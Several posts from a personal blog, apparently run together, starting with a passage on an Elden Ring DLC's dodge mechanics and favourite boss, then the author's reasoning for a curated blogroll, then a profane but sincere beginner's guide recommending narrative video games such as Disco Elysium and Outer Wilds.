I think it's almost entirely because of i-frames. Having to rely on them so much is a shit mechanic. Not only is there some severe dissonance with rolling to a bosses' in order to avoid damage, it's also not fun with these ass hitboxes to get hit when you feel like you rolled correctly.⁽⁷⁾ They should remove i-frames, just rip the bandage off and lean into those mechanics that have been slowly introduced. Make it like fucking Monster Hunter or something I dunno.

Please Fromsoft, stop playing it so safe. Stop succeeding and failing in the exact ways anyone familiar with the series could predict the moment they heard "open world Dark Souls." PLEASE DO SOMETHING SO THAT THE DISCOURSE SURROUNDING THE GAME ISN'T ONLY ABOUT IT'S DIFFICULTY.

Or do Sekiro again.

No but seriously, with i-frames being so entrenched into the entire genre, not just Fromsoft's games. The series has a prime opportunity to subvert it again.

Epilogue

My favourite boss was Rellana.

Now I know that might sound strange to anyone who's fought her, because she is literally the embodiment of everything I've been complaining about. But please consider the following argument.

She kinda bad tho frfr.

I haven't been this attracted to a full suit of armour since Knight Atorias.

She also has the coolest weapon(s) in the game. I was so hyped to get her twin blades from her remembrance and it caused me to use a larval tear for the first time to respec some points into intelligence.

Dual wielding/power-stancing is my favourite thing ever, I played through the entirely of the base game power-stancing curved greatswords (Bloodhound's Fang and Morgott's Cursed Sword), so to have a weapon that is specifically for that? Oof, that's good.

Not only are they are two in one weapon, but you can still add something to your left hand. So I also used a Milady with frost added, which meant I could choose between magic + fire, or magic + frost damage.

It's also cool to see this neat animation whenever I switch my left hand weapon.

⁽⁸⁾

I dunno I just like the immersion of not having weapons appear and disappear into thin air.

Unfortunately, it wasn't as strong as my base game build. I seriously tried these light greatswords on every boss after Rellana, but those curved greatswords did more damage, staggered more, and had crazy amounts of bleed which is still kinda OP. Even with the fact that the twin blades are much faster, I couldn't capitalise on them when my turn to play could only allow one or two hits.

With them being the only new weapons I liked (even if they were a crutch most of the time) I was thinking of saying something about how I never found any interesting items or weapons while exploring the world previously. But that's probably just a me problem, I'm sure lots of people like the new things.

Also I don't actually want to talk about the final boss that much. So I'll just leave with this - there have only been two instances in any of Fromsoft's games where felt so desperate that I left a boss to grind for more levels. The other time was with Melania.

But there has only been one time in any of Fromsoft's games where I felt so desperate that I changed my entire build and playstyle. Although maybe some of that was because I didn't want a repeat of the 2 hours I spent with Melania.

So I want to talk about the process of deciding what blogs were added. I've been planning the blogroll for around 2 months, and only added 5 out of the dozens of blogs I read regularly.

The gist of it is that my only criteria was that I needed to consider the blog better than my own. Unfortunately, most people (that is, everyone not on the blogroll) write shit blogs.

No but actually the blog needed to be, in my opinion, an exemplary example of what a blog can provide as a form of communication on the Internet. A decent chunk of work needed to be done to add one to the blogroll, so having to filter out them was kind of necessary. And if I were to copy the layout and design of some sub-standard blog, it wouldn't be very interesting for me to create or you to read.

Really, the raison d'être for my blogroll was for it to force the readers to actually engage with the blogs. I know from experience that just clicking on a bunch links, and trying to find the value in a blog is too much to bother with. Honestly if a blogroll has over 5 blogs, I'm just clicking away.

I wanted it to feel like a more curated experience, so that you have more reasons to pay attention. And I can't really do that if the blog isn't all that interesting.

Another criteria, and probably the most limiting was for there to be NO PROFESSIONAL PROGRAMMERS.⁽¹⁾

I'm talking about people who code for money here. If you maintain a blog, you probably at least know some HTML, but you wouldn't be considered a "professional."

The "blogosphere" is overrun with tech workers (for obvious reasons), and I personally find very few of them interesting. Maybe this is just arrogance, but I don't ever see the need to read your opinions on technology. I know enough to make my own thank you very much. Please let me find someone who talks about shit I know nothing about.

Yes, I understand this is somewhat hyperbolic and hypocritical. But I would really love a world where I can just find someone's blog and the first post I see isn't: "Here's my opinion on React that's exactly the same as literally everyone else."

There are plenty of brilliant programmers writing just as brilliant blogs that I read regularly. But let's be honest, most tech blogs are not that good, I'm tired of them, and I don't want to see more.⁽²⁾

Okay that was a bit mean. Look, if you have a blog for like writing down the things you've learnt, or showing to employers, or whatever, that's great. Having a blog is good, you should keep doing it (or start if you haven't), even if it's completely uninteresting to me. You don't write for me. I just don't want to read it.

And I don't. So I'm not sure what I'm complaining about actually…

Anyway back on topic, I wanted the blog to be a "continuation" of my own. I mean it's still my blog, I just took their presentation because I thought it was the best way to sell them to you. I don't know anything about you, or what you like, so it's a little difficult to make recommendations.

I assume you're here because you like reading my inane ramblings, you sick fuck. So I wanted to point you to blogs that do somewhat similar things, or that I at least take inspiration from.

This means a preference for loosely edited, long-form writing with an informal, personal tone about a more diverse range of subjects. Not all blogs in the blogroll are like this, but not many people actually write blogs in this way.⁽³⁾

I think I added a decent group of blogs and I hope you've subscribed to the RSS feed of at least one of them.

The Obligatory Epilogue That Is As Long or Longer Than the Actual Post

So I reckon you're probably at least a little curious about the blogs left on the chopping block. And I have good news! We're going to be going through some of them!!! Don't say to your mum that I don't treat you well now! Also, please ignore all those times in past blog posts where I refuse to explain things to you.

• Danny L. Bate

This was a tough one to keep out. I really wanted to put a linguist in the blogroll, it's like one of the top three things I write about here, and I'd love to give you recommendations to learn more.

Most linguist blogs are a "etymology of the day" sort of thing, which just straight up do not fulfil my criteria. Danny's blog is great because it's not that, and he actually writes about interesting things in detail.

But for some reason… I just couldn't do it. I dunno? I didn't feel like the vibes fit with the others, it doesn't have that je ne sais quoi. Don't get me wrong, it's a good blog,⁽⁴⁾ definitely in the top echelon of Internet blogs.

I'm not entirely sure what it is, and perhaps I'll change my mind at some point and give it a page of it's own. But yeah, it is a fun linguistics blog and you should read it.

• The Egg And The Rock

So actually, there was one other criteria for adding a blog to the blogroll. The blog needs to be purely "theirs" or simply put - no Substack, Medium, or Ghost blogs.⁽⁵⁾ Or maybe better put, if I can immediately tell that a third-party service was used then it's not eligible. I just didn't want the possibility of two or more blogs looking the same.

Probably a little contradictory with the "NO PROGRAMMERS" rule but there honestly weren't that many that were cut because of this.

Unfortunately, that was not the case for Julian Gough's "The Egg And The Rock," so I think it's worth mentioning here.

I myself am not entirely sure what the blog and Gough's upcoming book is "about." But I'll defer you to the first post, "In Which I Talk About Writing Minecraft’s End Poem, And Describe the Problem My Next Book Is Trying To Solve" for an interesting read.

• Benn Jordan (YouTube)

I know a YouTube channel isn't a blog, and that it would have violated the criteria I just told you. But I think it would have been an interesting subversion. Like it would have been funny for you to click "next blog" and suddenly be presented with YouTube (or my version of it rather) and start watching a video, with me pretending to be Benn Jordan.

Ultimately, it didn't happen because I don't want to make a YouTube video. I wouldn't be happy with it unless I went all the way - got a DSLR, lights, microphones, the works to make it feel like an actual Benn Jordan video. Combine that with my social anxiety making me allergic to cameras… yeah it was never happening.

Would have been really cool though.⁽⁶⁾

Oh right, Benn Jordan is a YouTuber (he's probably better known for his music under The Flashbulb, but I know him from YouTube) who makes videos about music and sounds. He's probably my favourite YouTuber at this point for a multitude of reasons… that I won't explain :)

• Todepond dot com

I've had Lu Wilson on my radar since SandPond was called SandBoys or something like that, I honestly don't really remember it's been a long time. But that's all to say I'm familiar enough with their work to say this with a modest amount of confidence.

Lu is not an idiot.

Todepond is almost the complete opposite of my blog in many regards, and violates a lot of the criteria I set for choosing blogs to add. But it was this close to getting in,⁽⁷⁾ replacing the spot of being the sole "programming" blog. And that's because it's interesting to me personally.

I don't think this is the best place to get into it, but because of several reasons you might be able to guess if you've read this blog long enough (or know me in real life), I've become increasingly arrogant over the past seven years. I think I have earned that arrogance, but I can see that it's not particularly good to have.⁽⁸⁾

I think this blog has legitimately made me more receptive to other people's opinions when it comes to tech/programming, which is really the only time when I don't listen to other people.

So if I see something arguing to "Write your blog from your phone," I'm first going to be thinking "that that's the stupidest thing I've ever heard, I'd rather kill myself than do that, what the fuck."

Also why on Earth do people spend so much time on the toilet with their phone? Don't you think that's kinda gross? Don't you have better things to do?? I don't understand it, when I go to the toilet - I SHIT.

But.

Lu is not an idiot.

So why are they saying something so sacrilegious? Let's actually think about it, instead of just immediately dismissing it because it's stupid and dumb.

This one is actually pretty easy. It's probably because they're right and I need to realise not everyone has been breathing with Vim bindings since they were 13 years old, so the thought of writing without them doesn't make them immediately ideate about suicide.⁽¹⁰⁾

Being able to write blogs on your phone is probably a lot more intuitive for people. And maybe there should be easier ways to allow that to happen.

I don't have anything on phone usage in the toilet thing yet.

Alright, here's a more interesting one. Pretty simple to understand, I can put the entire post right here.

NO MORE TOOLS

WE HAVE ENOUGH

So here's the arrogance again. I'm generally in favour of always making your own tools, because most people fucking suck at programming, so whatever you come up with is going to be much better.⁽¹¹⁾ And by you, I mean me.

I generally try to minimise my dependence on other people as much as possible because it's easier for me, and for them most of the time as well. In fact, I've slowly been learning things to be able to run this blog on a distributed web server written by me, calling processes to an Operating System I made, on hardware I designed. The day that happens is the day this blog ends.

Making and using tools is also just fun as hell. I love tools. There should be more tools. If you don't like having more tools, you're probably just too dumb to learn new things.

Trying to understand this "no more tools" idea is a lot harder to do, partly because it's just two fucking lines so it becomes difficult to tell if I'm reading too hard into it,⁽¹²⁾ and partly because I think this is a fundamental disagreement about programming.

The closest thing I can relate it to is the consensus that there are "too many JavaScript frameworks." It's an idea that I've had my fair share of using to make fun of JavaScript. But the truth is, I don't actually really care, I say it because I like shitting on JavaScript.

I actually like how many JavaScript frameworks there are. I think there should be more if anything. Seeing other people's tools serve to make your own better. It's why I still read other people's blogs when I'm pretty sure I have the best one ;)

But.

Lu is not an idiot.

So here's an excerpt from "Getting serious about images" which gives a little more insight.

What I should have done is - kill the feed maker every time it went buggy. And I should have made a better, simpler, more throwaway one each time.

I am not developing tools, I am developing skills, and a practice of ultra-simplicity, with no compromise, without escape! Software isn’t a thing, it’s a craft. A chair maker doesn’t develop a single chair for years on end. They make more and more chairs, better chairs. And they don’t pass on chairs to future generations. They pass on skills and knowledge and experience and expertise. We should see software the same way.

It’s a dangerously thin line between a tool (bad) and a throwaway solution (good).

When we write some code that does a job for us, how do we stop it from turning into a project of its own?

Perhaps by making it hyper-specific to what we’re doing in that specific moment. Or perhaps by making it unmaintainable. Write-only code. Reading is impossible.

In my case, my problem is that I don’t know how to write a throwaway solution for uploading images to my github repo. I can’t do it quick enough to make it lightweight.

Oh my Bidoof I really fucking hate analogies about software to other professions. Software doesn't exist. It's not a real thing, and it never gets turned into a one. We made it up. Especially websites, they're not fucking real buddy.

Why is any of this bad? I honestly do not understand why something "turning into a project" is bad, which apparently according to Lu is when you have to make bug fixes or some shit?? I dunno but in my opinion, learning to fix your garbage is probably a good skill to be developing.

Also, how tf do you make something more specific than "RSS feed generator?" It very clearly does ONE thing. THAT IS THE DEFINITION OF SPECIFIC.

And FYI we have already "write-only" code, dunno if you've heard about it but it's called "compiling to assembly," it's a thing not shit languages do.

Yeah, I don't really know. I'm sure they have their reasons though.

In conclusion, everyday I open up Mastodon and see that Lu has posted again to Todepond dot com. Once I click on it, I get either an incredibly interesting and poignant text or just complete, utter fucking nonsense. As a degenerate gacha gamer, this "lootbox" style of blogging really appeals to me, and would have been a great addition to the blogroll if not for the fact that the design of the site wouldn't have provided me a fun enough experience to copy. I already dislike "front-end" stuff for my own blog enough, at least give me something interesting to do.

epilogue for the epilogue

Haha jokes, I'm not done here. It wouldn't be a blog post on justin.duch.me if it didn't have at least 5 digressions, now would it? There's a few things I wanted to mention in the intro to the blogroll, but didn't think it fit so here's probably the next best place.

So for a blogroll it's usually common courtesy to add blogs that already have you in their own blogrolls. I'm aware that I'm actually in a few, and I appreciate that a lot. But I hope you can understand why I'm not reciprocating.

I've been thinking of ways with which I could return the favour. Perhaps I could make a secondary blogroll with all the other blogs I wanted to add. To minimise the work I need to do, I'll just put them in a lis-

…

Yeah, I get why blogrolls are just lists. To be honest, I knew from the start that this would be a "failed" experiment, but went ahead anyway because I thought it would be interesting. I mean, it's literally just a curated webring but I tried my best ;(

So since I've kinda already done it, this post might be a good place to put the "list" in. But that would require me to update the post when I find new blogs, which is not something I do. Compound that with the fact that this post is also going get lost in the eventual sea of futures, meaning people won't ever see it.

I considered making a series of posts for "blog recommendations." But if I want it to be a post, it needs to be like the others - long-form, meaningless ramblings about dumb shit that only interest me. And as I don't have much to say about most blogs, I don't really want to do that.

I don't know. I've never been good at "product."⁽¹³⁾ And if this could have been solved with distributed systems, I would have already done it.

But seriously though. Bullet point lists? That's still the best we got?

There's gotta be something better than that.

My Bidoof, this whole blogroll arc has been really ranty, huh? I'm not usually this feisty without a couple martinis.

In my opinion, most things are art, it's being able to feel emotion and experience what I couldn't otherwise. This is normally what I look for and judge the media I engage with; How well it invokes feeling into me.

If you more or less share this opinion, and you've never played a video game before, I think you are missing out. And I am here to help rectify that for you.

What sets video games apart from other media is the unique experience they offer. Each game is a new language of interaction to learn, distinct from others yet somewhat standardised by genre conventions that, once familiar, make navigating similar games more intuitive.

Video games can encapsulate the essence of all art forms, adding a layer of interactivity. While there is art in game mechanics and button skill,⁽¹⁾ they're harder to appreciate if you don't already play games. So I'm mostly only going to be talking about narrative interactivity.

We'll dive into games that exemplify the medium's unique capabilities, ones that I think couldn't be fully realised in any other form without significant changes to their narrative structure. I'll try to introduce you to titles that are accessible for beginners, both in terms of gameplay mechanics and genre conventions.

But first we need to talk about;

Hardware

The biggest barrier to entry for video games (apart from actually knowing how to play the game) is the hardware it needs to run on. It can get real expensive.

Thankfully, most games don't actually need expensive hardware to run on, because the most graphically intensive games are the most expensive to create, and since capitalism and art don't work together very well, the most expensive to create games pretty similar to each other and usually aren't that interesting.

When I was a teenager I played all my games on a Dell Inspiron 15R 5537 from 2013 that my parents bought for me to do school work on. This laptop is over 10 years old now and would be able to play every game we're going to discuss with little issue.

If already you have a laptop that isn't a Chromebook⁽²⁾ and was made in the last 5 years, it will probably be able to play most if not all of the games in the list. A MacBook with an M1/M2 chip will also be fine (for games that can run on MacOS, which is unfortunately not many so I don't actually recommend it).

If you don't already have a desktop or laptop that can run games, you should be able to get an okay pre-built desktop PC for around $1000 AUD. I wouldn't suggest buying a "gaming laptop" unless you can find other uses for it, like maybe you also need it for work or school, because they aren't economical at all. Steam is the most popular digital storefront for games on PC and I second buying your games from there.

Otherwise, I'd suggest purchasing a Nintendo Switch console which are pretty cheap and can still run games well enough, but with a more limited selection of games that work on Switch hardware. While not specifically a requirement I had while making the list, every game can be bought and played on the Switch, but bear in mind I only play on a desktop PC so I can't attest to the technical quality of Switch games. I do have a Switch for games that can only be played on a Switch, and those work fine, so I'm assuming these do as well.

Since you're reading a blog post about pretentious artsy bullshit, I'm assuming you're not stupid and have basic critical thinking skills so I won't be explaining everything as I'm sure you'll be able to figure it out, and it's better if you go into all these completely blind.

But if there is something that confuses you, or you need help with - my email is justin@duch.me. Feel free to email me. That's how serious I am about getting you to do this.

With all that out the way, we can begin.

Disco Elysium (2019)

Disco Elysium is the GREATEST piece of media ever made, and if you disagree with me you are NITPICKING and BIASED.

This is actually the only game I want you to play (or at least, play first). You can ignore everything else (but please don't). This game is basically a book (but not actually because it could only work as a game). It could run on a potato (given enough potatoes you could make a battery to run a computer). You have no excuses to not play this game (unless you just don't want to). If I could somehow force you to play this game, I would (I wouldn't, I'm a good enby).

Disco Elysium is a narrative-driven role-playing game that dives deep into themes of personal identity, political ideology, morality, and the human condition through its hauntingly beautiful writing. It will challenge you to navigate complex social issues, mental health, and existential questions, all while solving a murder mystery.

It doesn't have any traditional combat, so button skill shouldn't be an issue. But you may need a primer on role-playing game (RPG) mechanics.

RPGs are about assuming the role of a character and "role-playing" as them. At the start of the game, you create your character and decide your mental, emotional, and psychological traits/skills. RPGs with combat will also include physical attributes or combat abilities. As you play the game you gain "experience points" that allow you to put additional levels in your abilities, dictating the path the development of your character takes.

The core gameplay revolves around talking to characters, investigating crime scenes, and solving puzzles. Your traits/skills influence the options available to you in conversations. This means your character's build can open up or close off different paths in the game. For example, if you have a high points in "Authority," you might intimidate a witness into talking, but if your "Empathy" is higher, you could choose to sympathize with them instead.

The choices you make in conversations and how you decide to investigate have real consequences on the story's outcome. Different skills and choices can lead to entirely different experiences and endings.

I'd suggest "role-playing" as yourself at the start.⁽³⁾ Choose the traits you think you have in real life, and play the game doing what you'd do if you were in this situation. Once you've completed the game, you can play it again, but pretend to be someone else with different views and opinions to you.

Since might be the first game you ever play, I'll give you a few extra tips:

• This game has a lot of reading, both for the narrative and game mechanics. Make sure you understand what you're reading.
• When you first start, spend some time looking at the user interface. Just start pressing buttons to see what it does or where it goes. Most icons and text can also be hovered over to see extra information, you should do this often.
• You can see the controls when you pause the game (press the "Main Menu" button at the top left of the screen). If you see a control you're unsure of, just press it when you're unpaused to see what it does.
• When you're comfortable with how to play the game, it's okay to start over to experience the beginning again in case you missed stuff while fumbling around with controls.

This game is so much, I've wanted to talk about it on this blog for so long, and I'm sorry I won't go further into it. But I don't know how to talk about any of it without spoiling it.

Outer Wilds (2020)

Outer Wilds is an exploration-based, open-world mystery about a solar system trapped in an endless time loop. It's the perfect example of a game invoking emotions that other mediums simply can't (at least to this extent) - the primary one being curiosity. At its heart, the game revolves around exploration, the acceptance of one's mortality, and the beauty found in the relentless pursuit of truth, regardless of the inevitable end.

Every 22 minutes, the games' universe resets due to a supernova, erasing all progress but retaining your knowledge and discoveries. You start each loop with a small spacecraft to explore the Newtonian physics sandbox that is the solar system,⁽⁴⁾ and are told to just go, in any direction you like.

Not being given an instructions can be a little daunting at first, but you're really just supposed to find interesting things by simply looking around. Eventually, you'll stumble into rabbit holes of discoveries that guide you to deeper, more hidden discoveries.

This exploration of ruins, deciphering of alien texts, and unravelling of the solar system's mysteries encourage thorough engagement with the games' world, making each loop a chance to piece together the larger cosmic puzzle. The game is quite literally awe inspiring.

I think it is probably the most difficult to control in the list for a person new to games, but mostly because of the physics simulation. Most people don't have a good grasp on manoeuvring in zero-g (for obvious reasons), so it can be hard to get to grips with at first, but I found it easy to build the intuition in the game.

Quick tip, if you're using a gamepad controller, most buttons do something in the game. If you're not using a certain button because you don't know what it does, just press it so you see its purpose, then you can think of ways that it can be applied to the game.⁽⁵⁾

Hellblade: Senua's Sacrifice (2017)

I strongly recommend you play this game with headphones. Hellblade is an experience that fully utilises the audio visual spectrum.

It's also conversation about mental illness, with the main character Senua being a woman suffering from psychosis, an abnormal condition of the mind that involves a loss of contact with reality.

The developers collaborated with neuroscientists and people who experience psychosis to portray the condition authentically. They used binaural audio to very accurately simulate a three-dimensional space, something very few games have been able to do, to create a completely immersive experience.

You will hear the unnerving and jarring voices all around, some near, some far, always insistent.

Hellblade is shaped by Senua's psychosis, where you'll never fully certain of what's real or the reliability of your perceptions. This uncertainty affects decision-making in the game, as you must choose paths and solve puzzles based on incomplete or distorted information.

The game goes beyond mere representation to foster empathy and understanding. You are not just observers of Senua's journey; You experience a facsimile of her reality, confronting the challenges and stigmas of mental illness.

Combat in the game is simple and a good introduction to third person action games. I think it's very accessible - there isn't much to say about this, you should be good to go, it's pretty straightforward once the game teaches it to you.

This is also by far the most graphically detailed and intensive game on the list. So look at the recommended specs of the game if you're on a lower-end PC. I was also a little worried about the Nintendo Switch version in this regard, so I actually looked it up for you.⁽⁶⁾ And I'm pleased to report that it's surprisingly impressive in how well it runs on the little thing. Possibly the best looking game on the Switch even 5 years later (the Switch version released in April 2019).

Tip: PLAY THE GAME WITH HEADPHONES.

Firewatch (2016)

Firewatch is considered by many to be a "walking simulator," which are exploration games played often from the first-person perspective to explore an environment and to discover a narrative about the game, but often have little to no direct interaction with the environment itself.

There are very few choices that matter.

There's little freedom in what you can do.

It's just linear.

Firewatch could probably be a good movie or book with very little changes. But I still put it in this list, because there is still value that it (and all other walking simulators) has with being a game. There are intrinsic qualities that is given to it as a game that allow you just exist in it.

Walking, even in a virtual environment is pretty neat. As Nathalie Lawhead describes in "walking sims and the joy of existing in a virtual space."

Travel can be a beautiful thing. Moving from one place to another, being an observer to the tiny interaction in the world around you. Taking the train to LA is probably one of my favorite things because I get to just take everything in. Traveling on the buss at night is beautiful for all the lights, sounds, the tiny phone screens of other passengers lighting up the buss, looking into the car windows of other drivers passing the buss, staring into lit office windows wondering how it’s like in that room… I’m probably not the only one that enjoys just looking while traveling. People are observant, and curiosity about what we are looking at is what makes traveling fun.

I find it interesting to compare narratives in walking sims to what I would imagine they would be if they were in different medium. And I always return to an idea around the "ownership of the experience." Firewatch has many beautiful vistas it wants so show you,⁽⁷⁾ and if I were to recall what I saw to someone else I'd say something like this.

I saw a gorgeous lake.

But if this was another other medium it would be more like this.

There was a gorgeous lake.

Even though that lake doesn't actually exist, and Henry (the main character) was technically the one who saw it, I still use the first person⁽⁸⁾ when recounting it. I dunno, it's a very simple observation but I just find the implications of that incredibly fascinating.

Firewatch is one of the more "game-like" walking simulators. There are dialogue options, interactable objects, and an inventory system. It is unquestionably a game. But that honestly doesn't matter.

It's also a very enjoyable narrative about human connection set in the Wyoming wilderness of 1989. Yeah that's right, I'm giving you the synopsis at the end of the section, the fuck you going to do about it?

Return of the Obra Dinn (2018)

The Obra Dinn, an East Indian trade ship, has drifted into port at Falmouth with damaged sails and no visible crew. Everyone is dead, find out what happened.⁽⁹⁾

You're equipped with an enchanted timepiece, allowing you to witness these moments of demise as frozen snapshots in time with each corpse you encounter. The game is one large puzzle, where you're tasked with determining the fate of all souls on board, including their names, where and how they met their fate, who or what their killer was, and their location should they be alive.

The destiny of each of the crew members is distilled into a succinct sentence capturing their end, focusing solely on their moment of death. Scattered across the ship, these fragmented stories are embodied by the deceased, awaiting discovery.

Return of the Obra Dinn cleverly morphs the narrative into interactive elements, organising them within a framework of gameplay mechanics and rules, showcasing an ingenious approach to storytelling.

I think Ian Danskin (more known as Innuendo Studios) says it best.

Determining the fates of all 60 crewmen and passengers on the Obra Dinn becomes a kind of literary archeology. Each death helps piece together a timeline of events, collecting scattered snapshots and the puzzle design demanding that you place them in a mental sequence of cause and effect, motivation and happenstance, until an unstructured series of fantastical images starts to take shape as an actual story with beginning, middle, and end. And, not for nothing, every time the game confirms that you’ve solved another series of fates, you feel like a fucking genius.

A truly satisfying experience that caters to my narrative and intellectual demands in ways few adventure games do.

• Thoughts on Return of the Obra Dinn

Of course, there's no discussion of Return of the Obra Dinn without mentioning its distinct art style.

If you've seen a few posts of my blog before, you may have seen an image that looks like this (the contents of the image have no relation to the game, it's just an image of my mum (and her criminal, murderous underlings but let's not get into that)).

I apply this "noise" to all the images in this blog, in part as a form of compression,⁽¹⁰⁾ but mostly because it looks interesting. I got the inspiration to do this from Return of the Obra Dinn and after stumbling across this article from Surma. So imagine this image, but as an interactive game with the style actually made for it instead of just being a filter added programmatically over an existing image.

You should watch the trailer for the game or something to see what I mean. I think it's more impressive to see it in motion than as a still image on some blog.⁽¹¹⁾

Signalis (2022)

An android named Elster awakens to a crashed ship and a deadly mystery on an arctic planet, embarking on a harrowing journey to find her lost companion.

Pixel art isn't scary, inventory management is.

At the heart of Signalis lies a dystopian tale wrapped in layers of mystery and psychological horror. It's an ode to the survival horror classics, demanding you to navigate a delicate balance between conservation and progression. Ammunition and resources are scarce, so every shot fired and item used requires intention and deliberation before committing to using something you can't replenish easily. It also tests problem-solving skills through many intricately designed puzzles that are as satisfying to solve as they are challenging.

The difficulty, particularly in resource management and puzzle complexity, could be daunting for you if you're unfamiliar with the genre. But, it's this very challenge that fans of survival horror find most rewarding. The game does an excellent job of capturing the essence of what makes survival horror engaging - the thrill of overcoming seemingly insurmountable odds through wit, patience, and perseverance.

Signalis employs a narrative structure that eschews the traditional linear storyline in favour of a more fragmented, multi-perspective approach, which mirrors the complex process of memory retrieval and identity formation - central themes to the games' plot. It presents the story in pieces that you must collect and assemble, transforming itself into the act of understanding its narrative into a personal journey of discovery.

For me, the narrative and atmosphere are the stand out aspects of the game as I've never personally cared much for survival horror mechanics. It has a compelling blend of German and Japanese aesthetics and one of the best executions of a multi-layered story I've seen. Signalis is a game you "finish" multiple times to truly understand what is going on.⁽¹²⁾

Tip: this is a survival horror game, and as is so often with this genre, sometimes when you can't progress forward you have to go back. This isn't a cryptic riddle or anything, I mean that literally. You need to "backtrack" a lot in these games.

Rain World (2017)

This game is frustrating, obtuse, and confusing. Rain World is like being thrown scared and naked into the wild, having to survive in a world in which everything wants to and will very easily eat you. I mean I say it's like that, but in reality, that's exactly what it is - except if you were a cute little slugcat (half slug, half cat) instead.

It took me 4 attempts over 3 months to actually get into and start enjoying the game, for it to click, and for me to know what to do and how to understand the systems of the game. This is not a game you should be attempting to play first, or second, maybe even third, hence why it's at the bottom at the list.

The game stands out for its complex simulated ecosystem, where every creature has its behaviours and place in the food chain. Its varied and numerous inhabitants are semi-persistent and can be hostile, neutral or even sometimes friendly, with it being up to you to work out which. Some will compete with you for food, some will hunt you, others will leave you alone if you don't bother them or if they see something tastier. They're sophisticated AI capable of remembering acts of kindness and can conversely bear grudges too.

This boundless, relentless natural environment surrounds you, demanding your understanding and navigation. You cannot conquer it. Your survival hinges on your ability to learn and to adjust. Remember to take shelter from the Rain.

I think it's best to learn the games' mechanics and story yourself, so I'd rather not explain any more than that. You should be thrown into the deep end just as I was.

There are many games that have gained a reputation for being difficult. People often misinterpret this aspect as the being "point" of the game, and that beating it is meant to be held as some kind of badge of honour proving your superiority over others. This is almost entirely incorrect. Very few games seek to be difficult in and of itself (most games do want you to succeed and see the end), but they have specific emotions they want the player to feel, and difficulty often occurs as a side-effect of chasing that vision.

For most other games, that emotion would be accomplishment.

For Rain World, that emotion is harmony.

My only tip is to GIT GUD keep at it. It will take some time to appreciate.

Special Mention - KID A MNESIA EXHIBITION (2021)

There were many other walking simulators that I wanted to put into the section that was eventually handed to Firewatch. I just find them an interesting genre of games. This is another interesting one that I'd like to mention because of how different it is.

KID A MNESIA EXHIBITION is a virtual exhibition created for the Radiohead albums "Kid A" and "Amnesiac" for the PlayStation 5 and PC (not Switch, sorry). As explained by Thom Yorke and Stanley Donwood on the PlayStation blog, it was initially supposed to be an in-person installation, but those plans got ruined by COVID.

Kid A is my favourite album ever,⁽¹³⁾ and I found it as a wonderful way to experience the album in a way that I've not seen before or since. It's beautiful and unsettling.

I don't really know how to talk about music or art (as imagery), so I'll defer you to this article written by Taylor Ruckle that I found quite insightful.

Where to go from here

Most of the games on this list take at most 10 hours to complete one playthrough, with the exception being Disco Elysium which I'd say is 20 hours. Games vary drastically in length, generally correlating with their development budget, and some never actually end - either from not having an "ending" or new content being continually added through updates.

I've mainly recommended lower budget games with less of a time commitment from smaller developers because I know they can run on lower-end hardware and they're generally more interesting pieces of art.

But you should probably get a good idea of the mainstream for context on the industry, as they can be fun in their own right (especially if you've never played something like them before), if not else just to be able to understand other games that comment on the industry and the conventions that come from multi-million dollar budget games.

I'm not trying to diss high budget games, I recognise they do their own thing and it's just that thing most of the time doesn't appeal to what I'm looking for (although on very rare occasions the stars can align and all that money can create phenomenal art). But to be fair and balanced, I'll tell you about some of the things I like about a few mainstream AAA franchises that may be overlooked by people like me.

• Assassin's Creed

Ubisoft have made some of the most beautifully detailed worlds ever created. So much so that I've been legitimately impressed by their "Discovery Tours", which are "[…] dedicated games that let visitors freely roam Ancient Greece, Ancient Egypt and the Viking Age to learn more about their history and daily life. Students, teachers, non-gamers, and players can discover these eras at their own pace, or embark on guided tours and stories curated by historians and experts."

And even while Discovery Tours weren't introduced much later into the franchise, I learnt more about Parisian geography and landmarks playing Assassin's Creed Unity then I did actually going to Paris for 2 weeks.

• The Last of Us

This one probably isn't actually overlooked. Though I think the fact that the first game (and soon to be second) could get turned into a critically acclaimed TV show with very few changes to narrative structure and pacing is a mark against it as a video game but w/e,⁽¹⁴⁾ it's still great by itself and in my (apparently controversial) opinion, is elevated even higher by the bold subversions made by the second game.

I think going where what the second game did with its narrative was a huge risk (as shown by the audience reaction), am I'm honestly just impressed that a multi-million dollar game would do that in the first place, and then be able to pull it off (for pretentious pricks like me, a lot of people hated it).

• Grand Theft Auto/Red Dead Redemption

These are probably some of the most influential games to have been created in terms of world building. All those millions of dollars have to go somewhere, and like other AAA companies, Rockstar puts it into the fine details. But unlike the other AAA companies, that detail is for making sure horses defecate correctly.

Okay, I'm saying it's more like they put their work in making the worlds feel real through environmental systems rather than environment fidelity. Although the fidelity in Rockstar games are actually still on par, and a lot of the time exceeding the other big players. Which is kinda crazy.

• Battlefield

I've not yet talked about a multiplayer game, and this is the only time I will. The artistry in these are normally from things like character/weapon balance, game mechanics/systems, map design, etc. which as I've said before, are harder for outsiders to appreciate.⁽¹⁵⁾

There is a whole other layer to games that occur when you add other people to the equation, either cooperatively or competitively. In particular, the multiplayer sandbox environment of Battlefield gives rise to what are commonly known as "Battlefield moments." These are hard to define, but is what happens when you strap a bunch of C4 to the bottom of a tank, detonate it so the tank is sent flying upwards, then shoot a passing by fighter jet with the tanks' cannon while still mid air.

There is art in being cool as fuck.

Anyway back on topic, if you're still using the Nintendo Switch, you'll most likely need to move on from it. A proper desktop PC would be the ideal, but another console like the PlayStation 5 would be perfectly fine as well, although you will be more limited in terms of games and control methods. Very few games that are on a console aren't on a PC, and even then, depending on the age of the console, the game can be very easily emulated.

In terms of where to find more games, I don't really know, that's sort of dependant on you and where you like to get information from. I'm not even completely sure on where I get my information of games from, it sort of just completely surrounds my experience on the Internet so that a good game will usually just find me by itself.

I guess you could just browse the storefront of your platform for a little while, and lookup games that seem interesting to you. Apart from that, if you already have a process for finding recommendations of a different media, try finding a similar alternative for games.

But if you really want recommendations RIGHT NOW, I'll give you the long-list of games that I considered putting in the short-list but decided not to for various reasons that I will never share and will bring with me to my grave, just to spite you >:) This is also in descending order of closest to furthest from being put on the short-list.

• Undertale (2015)
• Elden Ring (2022)
• What Remains of Edith Finch (2017)
• The Forgotten City (2021)
• Ghost Trick: Phantom Detective (2010)
• Minecraft (2011)
• Kentucky Route Zero (2020)
• Dragon's Dogma 2 (2024)
• Fallout: New Vegas (2010)
• SHENZHEN I/O (2016)
• Journey (2012)
• Hollow Knight (2017)
• Celeste (2018)
• The Legend of Zelda: Tears of the Kingdom (2023)
• Nier: Automata (2017)
• Inside (2016)
• Death Stranding (2019)
• A Hand With Many Fingers (2020)
